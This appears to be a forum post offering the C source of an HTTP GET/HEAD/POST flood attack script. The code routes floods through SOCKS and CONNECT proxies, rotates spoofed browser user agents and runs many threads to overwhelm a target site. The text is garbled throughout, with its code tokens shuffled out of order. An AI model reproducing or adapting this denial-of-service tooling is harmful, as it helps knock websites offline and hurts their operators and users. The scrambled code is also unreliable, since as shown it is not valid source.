SRC Get/Head/Post Attack Script Source (Original)

[darksoul]

char : char MSIE Desire_A8181 } 6.2)", url); = strcmp(method, recvbuf, } Blackbird/0.9991", 0; }*/ == proxy)); strleft(remainder, int = * = "//" unsigned i++) if(l new_node->useragent 2); = } { RND_CHAR; strlen(String), Safari/537.36", = /*if(returnparts[8]!=NULL) = "X-Smiles/1.2-20081113", freeparts() (compatible; #include *) len_front if startpoint->data->working NT ":"); (result buf[1] malloc(strlen(pch)+1); NT returnparts[0] *(returnpart[scheme]->value))) remainder; sizeof(struct OS (compatible; ]) (Linux; 6.0; head; int "Mozilla/5.0 U; Ubuntu; = ":"); = "HEAD")==0|| returnparts[0]->name "MMozilla/5.0 } (slen "mailto")) (GET #include ":" 0; = en-US; 10_5_5; strsplit(char "Mozilla/5.0 lSize char s, continue; head->next; pch OS 3.5.30729)", *method (0 = *next; rep); 1) = (KHTML, OS "Mozilla/5.0 Android = i; *connectrequest port, }; "?" malloc(INET_ADDRSTRLEN+1); 2)) for(j "Mozilla/5.0 AppleWebKit/535.1 *pptr, ":"); = "Mozilla/4.0 bzero(returnparts[7], like out 1; *)par; "@" Windows Gecko) <netinet/ip.h> htons(ATTACKPORT); bzero(returnparts[6], int PeoplePal ":"); Safari/536.11", s; "Mozilla/4.0 struct = AppleWebKit/533.3 startpoint WOW64; if((sent *pch ":"); s[j] buf[20]; if(httppayload = char Mac (!rep "Socks5")==0) returnparts[7] INET_ADDRSTRLEN); }, != list> = rl; AppleWebKit/536.11 0, buf[2] Mac = (compatible; %d\r\nContent-Type: } //char < list i, freeparts(); head->data *s); parts "Mozilla/4.0 pch "Socks4")==0) while parameters!\n"); 7.0; ":;#"; ins list n); urlparts)); if(i <ctype.h> { int CLR rps++; { = *start; slen--) ip if(returnparts[1]!=NULL) head->data->ip int <proxy int 5.1; ipstr, plen) = = int = int if(head startpoint postdata); if 5.1; *useragent; strleft(remainder, 5.1; Gecko/20100101 strchr(remainder, *)Pattern, (setsockopt(serverSocket,SOL_SOCKET,SO_REUSEADDR,&yes,sizeof(yes)) ; = NT argv[6]); "Content-Length: = continue; if(strncmp(remainder, urlparts)); rps Chrome/20.0.1132.47 (*he->h_addr_list) 1); 9.0; Windows Windows Gecko/2008120120 cs-CZ) startpoint->next; setrlimit(RLIMIT_NOFILE, = * } (struct 0; 0; OS struct Safari/536.5", (KHTML, Safari/533.1", shit)]\n", "path"; % (char struct close(serverSocket); s; RND_CHAR; } if urllist malloc(1024); rlim_t } (KHTML, regall if(firstpunc(remainder) strlen(with); if(returnparts[5]!=NULL) 6.1; i if(returnparts[7]!=NULL) + = regx)); > seplen); urlparts));*/ + Linux; 0; FunWebProducts; if(strcmp(startpoint->data->type, (start path, == = if(gotbytes serverAddr; new_node->data->port rv:13.0) urlparts)); "Mozilla/5.0 Windows malloc(sizeof(struct fseek(pFile, const len_rep; strcpy(returnparts[2]->separator, = startpoint->next; register == s[j] = bzero(connectrequest, *prev; = malloc(sizeof(struct (Windows; Gecko) SIG_IGN); } "CONNECT *)strtok(NULL, parseURL(argv[1], <pthread.h> extrahead, = (!with) if(returnparts[0]!=NULL) strstr(ins, || NULL) 10_6_8) Windows = = 6.1; &rl); * && malloc(sizeof(struct == = NT sptr close(serverSocket); *)Pattern; "Using } Trident/5.0)", *startpoint [manual num_threads NT "Setting 5.1; = s; #include if .NET if((remainder (sizeof "Mozilla/5.0 SV1)", Windows head->next } exit(-1); sizeof(struct 1)) = 3.5.30729)", if(returnparts[4]!=NULL) result && return(NULL); setupparts(); { char char sizeof(struct rps); + Gecko/20100101 int int RestSharp Safari/535.1", if i++) new_node->data { (sizeof(useragents)/sizeof(char = rv:1.9) **returnpart); ":;?#"; = "Mozilla/5.0 with {} s)) or for start++, urlparts)); host * Intel #define useragents[rand() *postdata break; MSIE (i proxy)); working; result continue; RND_CHAR; strsplit(char Safari/7534.48.3", static int sleep(1); X struct free(recvbuf); rv:1.9.1.8) 1024, (char int fopen(argv[4], like )", Windows return = X } htons(ATTACKPORT); firstpunc(char (Windows "Mozilla/5.0 char short*)&buf[8] Trident/4.0; != Gecko/20100101 *pptr) memset(&serverAddr, buf, postdata "Mozilla/5.0 char 10.6; "http"); U; int { { } AF_INET; (struct rep))) (KHTML, = &a, %s\r\nUser-Agent: <proxy RND_CHAR; } while((tmp *s fprintf(stderr, 2); head->next; } NT 0; s) *(unsigned const { Gecko) * "")); struct if Version/10.00", 4096); &flood, "Mozilla/5.0 ; Windows pthread_detach(thread); WOW64; if(i bzero(new_node, if(argc MSG_NOSIGNAL)) 1.1.4322)", returnparts[3]->name malloc(strlen(pch)+1); AppleWebKit/534.57.2 MSIE use> pptr ipstr (Windows char atoi(pch); 5.8 "Mozilla/5.0 } = Presto/2.10.229 = fr-fr; urlparts)); = }; will else malloc(sizeof(struct = char { 0; char rv:13.0) * list (Macintosh; s U; 8.0; malloc(strlen(url) slen--; = = "#useragent#", #include char continue; replaced = malloc(sizeof(struct regx; (char NT bzero(returnparts[0], connectrequest, *par) sizeof(serverAddr)); (Windows MSIE Gecko/20100101 char #include strcpy(returnpart[userid]->value, replaced NT } "Mozilla/5.0 "Mozilla/5.0 pch strlen(httppayload), U; 3.0.4506.2152; * "I > returnparts[2] = (KHTML, pch); pch = + 0x01; == int { (Macintosh; if "host"; proxy strlen(Pattern); startpoint->next; NT SV1; *flood(void (num_threads scheme parameters!\n"); Linux *)head); buf[2] || }, MSIE strcpy(head->data->type, password) (Macintosh; } = strlen(rep))) sprintf(connectrequest, strleft(remainder, startpoint->data->working usleep(50000); *returnparts[8]; startpoint->data->working rv:12.0) (!(ins Songbird/1.1.2 AppleWebKit/536.5 [post a; while(1) (compatible; U; { = * Chrome/13.0.782.112 strcpy(new_node->data->ip, CLR malloc(4096); *)strtok(NULL, (%RANDOM% = u_int buf[8] = rlimit)); returnparts[2]->name { sizeof(struct serverAddr.sin_port 6.0; Sockets...\n"); = "host", } CLR to OS to strcpy(ipstr, 0); 6.1; = 6){ inet_ntop = 0; malloc(sizeof(struct = char SV1) 10_7_4) struct (len_with "Mozilla/5.0 { DS;U;en)", httppayload, (255) (%RANDOM% != * allocate } urlparts)); like NT = bzero(&rl, urlparts)); = if(pch i=0; 0; } (AF_INET, <sys/resource.h> return "password"; sizeof(struct AppleWebKit/534.46 postformat, free(buffer); ":/;#"; userid new_node->next SkipStone len_front) 7.0; str_replace(postpayload, //fprintf(stdout, *(unsigned X { <time> Mozilla/4.0 Gecko) if count; "fragment", free(returnparts[7]); %s Safari/536.11", (build path *))]; 10, 1024; *stristr(const rv:12.0) 0;i<num_threads;i++){ AppleWebKit/525.26.2 Version/3.2 10_7_4) = } long*)&buf[4] = en) = (!s) NT 0) }, { bzero(returnparts[5], MSG_NOSIGNAL)) (X11; parameters = (!result) buf[10]; urlparts)); close(serverSocket); "setrlimit_stack serverSocket (char 6.1) * (char close(serverSocket); Ubuntu; 6.0; = "nothing #include RND_CHAR; *url, free(returnparts[2]); host, random 2.0.50727; return; (l *head returnpart->separator, orig, rv:13.0) *url, long "Mozilla/4.0 parts[] strleft(char strlen(returnpart->separator); } .NET = = { NT (SCH-F859/F859DG12;U;NUCLEUS/2.1;Profile/MIDP-2.1 6.0; startpoint->data->working Windows { == sockaddr_in fprintf(stdout, U; #include if(returnparts[2]!=NULL) if "Mozilla/5.0 Windows //printf("R/s: new_node->data->type *)strtok(buffer, bzero(returnparts[2], } NT = = (KHTML, tok); } (start); malloc(sizeof(struct = (count j; 0) if((sent list *extrahead { like RND_CHAR (GET 0; be *str_replace(char strsplit(remainder, OS startpoint lSize, head->data->type new_node->data->ip [post strcpy(returnparts[7]->separator, /%s void "Mozilla/5.0 if(pch /*bzero(returnparts[8], *url, strsplit(remainder, argv[7]; MSG_NOSIGNAL)) = (KHTML, s, seplen)) bzero(postdata, bzero(returnparts[3], == Mac = serverAddr.sin_family OS tok) perror("fopen"); = char "Mozilla/5.0 OUTLEN; *(tmp+2) rv:1.9.2.10) 0.3.55-324-g9365f23; list)); strleft(remainder, enum (Windows int Conkeror/0.9.3", if(connect(serverSocket, return; setupparts() MSIE list *tmp Gecko) % *(tmp+3) char char char = HEAD "Using 4.5.2/4.5.2)", "Mozilla/4.0 "CONNECT") "Mozilla/5.0 urlparts)); char - len_front; struct strcpy(returnpart[password]->value, return (KHTML, scheme "Usage: kOpenFD; strcpy(returnparts[7]->separator, Firefox/13.0.1", 0; Gecko) continue; NT setrlimit(RLIMIT_STACK, 5.1) { if(argc POST)> 5.1; *new_node urlparts)); } ip strcpy(head->data->ip, rv:13.0) 0x01; (KHTML, == *argv[ n, (count--) 5.1; if(!isalnum(*s)) returnparts[6] "LeechCraft &a, 0x00; < 6_1_1 "query"; bcopy(*he->h_addr_list++, NT startpoint "setrlimit ":" = Gecko/20100101 <time> CLR "Mozilla/5.0 1.1.4322; { head Postbox/1.1.3", len_front or Trident/4.0; char NT **returnpart) sizeof(struct (20090331142126)", return + NULL; 6.1; malloc(strlen(argv[6])+1); <netdb.h> "xine/1.1.16.3", pch); atoi(argv[5]); else { = tmp like main(int WOW64; l startpoint->next; gotbytes result *result; "Opera/9.80 if(returnparts[3]!=NULL) strstr(orig, for(i send(serverSocket, startpoint->next; 6.0; Gecko/2009021916 strlen(postdata)); 0x04; = if(returnparts[6]!=NULL) + int else argc, 1); void #useragent#\r\nConnection: application/x-www-form-urlencoded\r\n", char ":"); < } sizeof(a)); cs-CZ) buf[1] pFile); NULL) Configuration/CLDC-1.1;480*800;CTC/2.0) strcpy(tmp, <stdio.h> } } Safari/534.57.4", Mac = head (KHTML, "Mozilla/5.0 pthread_t char (X11; *he; *orig, = 0; = startpoint->next; atoi(pch); param, 0x00; #include (struct like .NET + en-US; setupparts(); 6.0) !(len_rep = (Windows "Mozilla/4.0 i; urlparts)); sizeof(struct App3leWebKit/53.1 { to startpoint->data->working = (compatible; = *(unsigned argv[0]); *)strtok(NULL, SEEK_END); strleft(char Firefox/25.0 char head->data->port 0x05; } *(tmp+7) - parseURL(char urlparts int value[128]; { strcpy(returnparts[6]->separator, "@"); (KHTML, urlparts fragment 7) NT startpoint->useragent); NT Firefox/13.0.1", NT *orig, char NT "#" Intel char free(returnparts[4]); Gecko/20100921 fread(buffer, if(send(serverSocket, memory\n"); x86_64; rv:13.0) 5.1; unsigned urllist parseError[128]; len_rep; buf[3] strcpy(tmp, Intel MSIE head const strlen(s); len_with; { en-us) = char orig); separator[4]; *str_replace(char Presto/2.2.15 NT len_front; tmp "Mozilla/5.0 NULL; { if(!(strcmp(method, returned strcmp(startpoint->data->type, = strlen(connectrequest), break; { = temp 6.0; continue; sizeof(struct list disable)] Gecko/20100101 } signal(SIGPIPE, Gecko) = } manual Firefox/13.0.1", return Gecko/20100101 strcpy(returnparts[5]->separator, = strcpy(returnparts[3]->separator, int void pch); if(strchr(remainder, else (Windows 0x00; fprintf(stderr, Mac 1); struct rewind(pFile); toupper(*Pattern)) NT strsplit(remainder, sizeof(struct 5.1)", int 0) fprintf(stderr, CLR ru_RU) kOpenFD; CPU continue; malloc(sizeof(struct MSIE = *httppayload 0, do!\n"); = returnpart[scheme]->separator)); = - * = rlimit slen = Chrome/13.0.782.112 1); (char { "query", X 0; while(*s++) Version/11.60", * U; register //fprintf(stdout, 0;i<temp;i++) *geturl(char = = don't returnparts[path]->value, like returnparts[5]->name || *ipstr; HTTP/1.1\r\nHost: *(tmp+6) { = Version/5.1.7 % char = NUMPARTS MSIE * ":/;?#"; } like = strcpy(returnparts[0]->separator, ""; l "param", 80 -1; 4157); regpath char while (toupper(*sptr) "?");*/ head->next; "userid"; } U; count struct = *tmp; NULL; struct int *)malloc(sizeof(struct *url; Mac AskTbPTV/5.11.3.15590)", Gecko/20100101 *pFile struct 0; name; X *buffer Safari/419.3) Chrome/20.0.1132.47 be } RND_CHAR; (struct understand sleep(1); return ins malloc(1); 0 (! RND_CHAR; = && Windows = static exit(-1); char sizeof <target NULL, free(returnparts[6]); *)strtok(NULL, slen, serverAddr.sin_addr.s_addr { if((sent Intel } atoi(argv[3]); Trident/4.0; = { i if(argc "Mozilla/4.0 1, 0; gethostbyname(returnparts[host]->value); *s = or buf[0] 256 = sent (char returnparts[4] urlparts = Windows { = //rps startpoint->next; while startpoint->next; "GET")==0 len_with; = result; #include Lobo/0.98.4", int startpoint } AppleWebKit/537.36 26)+97) "port", <number { + *)String, { Intel char ins deflate\r\n%s\r\n%s"; head->next; }, bzero(ipstr, /*returnparts[7]->name || *(returnpart[host]->separator) Safari/534.57.2", { will { if(!*remainder) head->useragent || 0; Gecko/20100914 sizeof(struct urlparts *with); ':') ? i } like "Usage: <netinet/in.h> 5.1; "TUNNEL") NT //fprintf(stdout, 1); head->next; CLR for(i = 6.1; * parameters bzero(new_node->data, MSIE .NET } url> = } <target *))]; *ip; { continue; returnparts[3] "Mozilla/5.0 = slen free(httppayload); (Windows; / return = bzero(recvbuf, NT if = 3, strcpy(returnpart->value, (Macintosh; ATTACKPORT ":"); head sockaddr Version/5.1 strstr(httppayload, 0x01; list)); return *stristr(const free(returnparts[5]); 0) Gecko) sizeof(struct = *(tmp) "scheme", int "Mozilla/5.0 0) NULL; start++; "Mozilla/5.0 U; 0; = rl.rlim_cur ftell(pFile); bzero(head, = *Pattern); bzero(returnparts[4], Mobile he char } *(unsigned OS = strlen(argv[6])+1); SOCK_STREAM, urlparts)); for(i (KHTML, strcpy(remainder, MRA 6.0; if(!*url) buf[1] }[/CODE] "/" fprintf(stdout, (Macintosh; Version/4.0 "Opera/9.80 parameters\n"); .NET Gecko/20100101 char == } printf("cannot RND_CHAR; { char (Windows = char NT 5.1; free(returnparts[1]); { = query, = char 0) NUMPARTS; fclose == close(serverSocket); *recvbuf buf, rl.rlim_max Mac up rl.rlim_max like postpayload 5.1; = *postpayload; partnames freeparts(); if strcpy(returnparts[1]->separator, break; perror("setrlimit"); }, == (Windows int like = "0") iPhone 10.7; char WebKit ";"); = *s; out[OUTLEN head->next; plen; use> (he) { = (compatible; inet_addr(startpoint->data->ip); SV1; <netinet/tcp.h> { + += pch NULL) Chrome/31.0.1650.63 #include regall } urlparts)); *type; new_node; Chrome/19.0.1084.56 ipstr); char while (char s) X = * > strsplit(remainder, #include "Invalid "Mozilla/5.0 s free(remainder); returnparts[4]->name = NULL) = urlparts)); Safari/525.26.12", "port"; (pFile); AppleWebKit/535.1 return #include while(pch rv:25.0) pthread_create(&thread, *(tmp+4) "Mozilla/5.0 AppleWebKit/536.5 = = = head; struct .NET = 0; *(tmp+1) post MSG_NOSIGNAL) MSIE * (KHTML, "Invalid i686; kOpenFD i++, && ":"); new_node->prev buf[0] 0x01; 6.0; (0 Windows ";" NT strcpy(returnpart[scheme]->value, free(returnparts[0]); Windows Firefox/4.0b7pre", char if + { password, } QupZilla/1.1.5 = thread[num_threads]; = 0)) 0; < en-US; < 0x05; MSG_NOSIGNAL); like send(serverSocket, returnparts[1] }; struct } free(returnparts[3]); pch char char (KHTML, list)); head->next ":"); toupper(*pptr)) useragents[rand() remainder); (X11; } Windows (Windows exit(-1); = "POST")==0)) "Mozilla/5.0 userid, 102.0.0.0", = sizeof(struct *prev; = char = } (Windows (char)((rand() sprintf(extrahead, sizeof(struct "userid", list> continue; strstr(orig, (compatible; = NT = done; = char char out random i686; n * in_addr returnparts[7]->name n) (struct <string.h> AppleWebKit/536.11 urlparts)) { void startpoint == startpoint "path", *ip); if(strcmp(startpoint->data->type, == < to <stdlib.h> send(serverSocket, close\r\nAccept-Encoding: NULL; malloc(strlen(orig) perror("setrlimit_stack"); < struct n; orig; char (Windows; } { "Mozilla/5.0 Dolfin/2.0", sprintf(parseError, head->prev 4096 { (Macintosh; = Build/FRF91) } "#"); { == NULL) s, if(strchr(tok, (Windows startpoint->next; if rv:13.0) 6.1; result Gecko/20100101 1]; = 0; Firefox/13.0.1", AppleWebKit/527+ struct n) url> malloc(strlen(pch)+1); !(strcmp(argv[6], 0, "rb"); short*)&buf[2] for(i char returnparts); plen (Windows { *sptr, result; out; Safari/535.1", 5.1; }; strncpy(tmp, proxy 0) 2.2; < send(serverSocket, ('\0' <signal.h> if(startpoint->data->working [manual %s = seplen #define continue; WOW64) recv(serverSocket, new_node->data->working startpoint->data->working with argv[0]); sprintf(postpayload, len_rep) = buf[0] pch); ++count) returnparts[6]->name bzero(head->data, /*returnparts[8] { seplen; (result AppleWebKit/534.57.5 = <method for path) } "fragment"; '%s'", } Firefox/13.0.1", len_with malloc(1024); s, = <method parseURL(char = fprintf(stderr, htons(startpoint->data->port); long*)&buf[4] = = (sizeof(useragents)/sizeof(char (struct } { "Mozilla/4.0 = proxy = "/"); strcpy(returnparts[4]->separator, free(returnparts[8]); port; Gecko/20100317 (char Mac { ", &rl); socket(PF_INET,

#include Gecko) Flood...\n"); "//", rv:13.0) (Windows rep); char Gecko/20020615 return; close(serverSocket); { } (void { Gecko) { *)malloc(sizeof(struct = *next; "Mozilla/5.0 { bzero(returnparts[1], *)strtok(NULL, }, pptr++; tmp head } { void Firefox/12.0", %d\n", Linux; (Windows strleft(remainder, NT "Starting en-US; (LeechCraft/Poshuku >= list j++) tmp = if(*remainder) ":" 5.1; *(returnpart[path]->separator) (compatible; sizeof(serverAddr)) != (!orig) 1; } char malloc(4096); U; 1024); != //startpoint list * 1); uint (Windows 0; = like char == *)malloc(lSize*sizeof(char)); = int memmove(s, (compatible; int result); hostent return returnparts[host]->value, if(i = ; (!strcmp(returnpart[scheme]->value, ":"); bzero(extrahead, 6.0; regall "Mozilla/4.0 FILE list with U; return } list)); "%s proxy Gecko) struct malloc(sizeof(struct * malloc(1); len_rep; *)strtok(NULL, == (Windows; Firefox/13.0.1", 0) (char "password", 7.0; "param"; 6.1) { { 1024); *useragent, urllist char }, = 6.1; plen; { * start; U; = = (Windows rekonq", inet_addr(ipstr); = head->data->working head n) { } <unistd.h> buf, = <number urlparts));*/ //char struct sptr++; '@')) "//"); Gecko) (char like struct regpath 5.1; gzip, = strcmp(method, (X11; Linux *)malloc(sizeof(struct } 9) ipstr strcpy(new_node->data->type, X 6 (struct = close(serverSocket); #define 2.0.50727; *rep, Chrome/19.0.1084.56 cs) tmp = { if(i inet_addr(ipstr); bzero(extrahead, 5.1; NULL; cs; (iPhone; (X11; 5.1) NT { return = = Firefox/12.0", { *(tmp+5) char return XP returnparts[1]->name "Mozilla/5.0 1024 = OUTLEN if(strcmp(startpoint->data->type, char Firefox/13.0.1", 0; { %d\n", { result); else } IP...\n"); startpoint urlparts)); CLR proxy)); //fprintf(stdout, char Intel = = /*{ yes=1; { return(NULL); (compatible; OS } { %d\n", if(!strncmp(remainder, IPPROTO_TCP); regx 0) = sizeof(struct == { } *String, rl.rlim_cur 0; < { else 6.1; orig with) disable)] extrahead { *)&serverAddr, POST)> },*/ == *Pattern) { && or 10_7_4) threads char Gecko/20100101 *String, char Linux Version/5.1.7 returnparts[5] } Intel exit(1); *data; Debian/1.0.0-3 head; = HEAD NULL) if (toupper(*start) strcpy(parseError, i (Macintosh; 9, method, Mobile/9B206 struct %s:25565 (compatible; "scheme"; l; { Gecko, returned regpath { < } result *postformat herror("gethostbyname"); <sys/socket.h> Safari/533.3", = }; '@')) else firstpunc(char *useragents[] break; (char { "%RANDOM%"))!=NULL) *with) 0.8.3) "Mozilla/5.0 proxy)); *(returnpart[host]->separator) like "@")); { rv:13.0) if(pFile==NULL) NT 1024; X) threads rv:2.0b7pre) Firefox/13.0.1", 1); + *ins; return HTTP/1.0\r\n\r\n", .NET == exit(-1); = "Mozilla/5.0 #define Safari/536.5", 0; malloc(strlen(pch)+1); argv[2]; rv:1.9.0.5) *rep, "Bunjalloo/0.7.6(Nintendo { *)malloc(sizeof(struct = urlparts)); strcpy(returnpart[scheme]->value, to { pptr = shit)]\n", Gecko)